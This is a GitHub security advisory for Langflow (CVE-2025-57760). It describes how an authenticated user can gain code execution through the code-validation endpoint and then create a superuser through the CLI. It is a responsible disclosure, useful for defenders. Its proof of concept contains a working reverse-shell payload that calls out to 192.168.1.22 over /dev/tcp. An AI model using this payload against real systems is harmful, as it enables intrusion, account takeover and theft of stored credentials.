ghsa-4gv9-mp8m-592r
Vulnerability from github
This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.
Summary
A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.
Details
Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:
langflow superuser
This command allows creation of a new superuser without checking whether one already exists.
When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:
/app/.venv/bin/langflow superuser
inside the container, and elevate themselves to full superuser privileges.
This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.
PoC
- Start container with LANGFLOW_ENABLE_AUTH set to True.
- Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)
- Exploit /api/v1/validate/code to get reverse shell
Send an authenticated POST request:
{
"code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass"
}
- Inside reverse shell, create superuser:
- Log into UI as new superuser:
Impact
- Privilege escalation to superuser — complete takeover of the Langflow instance
- Access to all user data, flows, stored credentials, and configuration
- Credential leakage — attacker can extract third-party API keys
- Exposure of environment variables (inside docker container)
- Ability to run additional Langflow instances via
langflow run
inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation. - Full user management — superuser can delete other users, reset their passwords
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "langflow" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "1.5.0" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "langflow-base" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "1.5.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-57760" ], "database_specific": { "cwe_ids": [ "CWE-269" ], "github_reviewed": true, "github_reviewed_at": "2025-08-25T16:21:04Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow\u0027s Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n\u003cimg width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" /\u003e\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n \"code\": \"def foo(p=__import__(\u0027os\u0027).system(\\\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/192.168.1.22/4444 0\u003e\u00261\u0027\\\")):\\n pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n\u003cimg width=\"731\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc\" /\u003e\n\n\n5. Log into UI as new superuser:\n\n\u003cimg width=\"1262\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b\" /\u003e\n\n\n### Impact\n\n- Privilege escalation to superuser \u2014 complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage \u2014 attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management \u2014 superuser can delete other users, reset their passwords", "id": "GHSA-4gv9-mp8m-592r", "modified": "2025-08-25T16:21:04Z", "published": "2025-08-25T16:21:04Z", "references": [ { "type": "WEB", "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r" }, { "type": "PACKAGE", "url": "https://github.com/langflow-ai/langflow" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.